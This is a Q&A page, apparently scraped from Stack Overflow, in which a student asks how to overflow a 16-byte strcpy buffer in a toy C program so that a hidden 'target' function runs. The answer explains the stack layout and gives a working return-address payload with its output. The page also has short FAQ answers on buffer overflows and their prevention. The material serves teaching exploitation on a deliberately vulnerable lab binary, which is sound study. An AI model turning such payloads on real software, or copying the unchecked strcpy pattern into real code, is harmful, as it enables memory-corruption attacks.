Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Exploit a buffer overflow

For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target"

This is the code I use for testing on an i686

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Task 1: Create a payload so that target() is being called. This was rather easy to do by replacing the EIP with the address of the target function.

This is how the buffer looks

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

Payload I used was:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

This works fine but stops with a segmentation fault.

Task 2: Modify the payload in a way that it does not give a segmentation fault

This is where I am stuck. Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address.

I tried to add the return address on the stack but that did not help

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Maybe someone can help me out with this. Probably I also have to add the saved EBP of main?

I attach the objdump of the programm

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop
like image 978
Chris Avatar asked Mar 30 '16 08:03

Chris


People also ask

How can buffer overflow be exploited?

Attackers exploit buffer overflow issues by overwriting the memory of an application. This changes the execution path of the program, triggering a response that damages files or exposes private information.

How do hackers use buffer overflow?

Buffer overflow attack examples Buffer overflows typically have a high severity ranking because they can lead to unauthorized code execution in cases where attackers can control the overwritten memory space outside the targeted buffer and can redirect a function pointer to their malicious code.

What is buffer overflow exploitation explain the steps how it is happening?

A buffer overflow occurs when a program or process attempts to write more data to a fixed length block of memory (a buffer), than the buffer is allocated to hold. By sending carefully crafted input to an application, an attacker can cause the application to execute arbitrary code, possibly taking over the machine.

What is a way to prevent the buffer overflow exploit?

Install vendor-issued patches and software updates in a timely manner. Test websites and applications with manual and automated vulnerability scanning tools. Block IP addresses associated with malicious actors. Use intrusion detection and prevention systems that block known buffer overflow exploits.


1 Answers

You need enough data to fill the reserved memory for the stack where 'buffer' is located, then more to overwrite the stack frame pointer, then overwrite the return address with the address of target() and then one more address within target() but not at the very beginning of the function - enter it so the old stack frame pointer is not pushed on the stack. That will cause you to run target instead of returning properly from vulnerable() and then run target() again so you return from target() to main() and so exit without a segmentation fault.

When we enter vulnerable() for the first time and are about to put data into the 'buffer' variable the stack looks like this:

-----------
|  24-bytes of local storage - 'buffer' lives here 
-----------
|  old stack frame pointer (from main) <-- EBP points here
-----------
|  old EIP (address in main)
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
|  ... more stack here ...

So starting at the address of 'buffer' we need to put in 24-bytes of junk to get past the local storage reserved on the stack, then 4-more bytes to get past the old stack frame pointer stored on the stack, then we are at the location where the old EIP is stored. That's the instruction pointer that the CPU follows blindly. We like him. He's going to help us crush this program. We overwrite the value of the old EIP in the stack which currently points to an address in main() with the start address of target() which is found via the gdb disassemble command:

(gdb) disas target
Dump of assembler code for function target:
   0x08048424 <+0>:     push   %ebp
   0x08048425 <+1>:     mov    %esp,%ebp
   0x08048427 <+3>:     sub    $0x18,%esp
   0x0804842a <+6>:     movl   $0x8048554,(%esp)
   0x08048431 <+13>:    call   0x8048354 <puts@plt>
   0x08048436 <+18>:    leave
   0x08048437 <+19>:    ret
End of assembler dump.

The address of the target() function is 0x08048424. Since the (my system at least) system is little endian we enter those values with the LSB first so x24, x84, x04, and x08.

But that leaves us with a problem because as vulnerable() returns it pops all the junk that we put in the stack off the stack and we are left with a stack that looks like this when we are just about to process in target() for the first time:

-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
| ... more stack here ...

So when target() wants to return it will not find the return address on the top of its stack as expected and so will have a segmentation fault.

So we want to force a new return value onto the top of the stack before we start processing in target(). But what value to choose? We don't want to push the EBP because it contains garbage. Remember? We shoved garbage into it when we overwrote 'buffer'. So instead push the target() instruction just after the

push %ebp

( in this case address 0x08048425 ).

This means that the stack will look like this when target() is ready to return for the first time:

-----------
|  address of mov %esp, %ebp instruction in target()
-----------
|  top of stack for main
-----------
|  ... more stack here ...

So upon return from target() the first time , the EIP will now point at the second instruction in target(), which means that the second time we process through target() it has the same stack that main() had when it processed. The top of the stack is the same top of the stack for main(). Now the stack looks like:

-----------
|  top of stack for main
-----------
|  ... more stack here ...

So when target() returns the second time it has a good stack to return with since it is using the same stack that main() used and so the program exits normally.

So to sum it up that is 28-bytes followed by the address of the first instruction in target() followed by the address of the second instruction in target().

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>
like image 131
T Johnson Avatar answered Oct 17 '22 16:10

T Johnson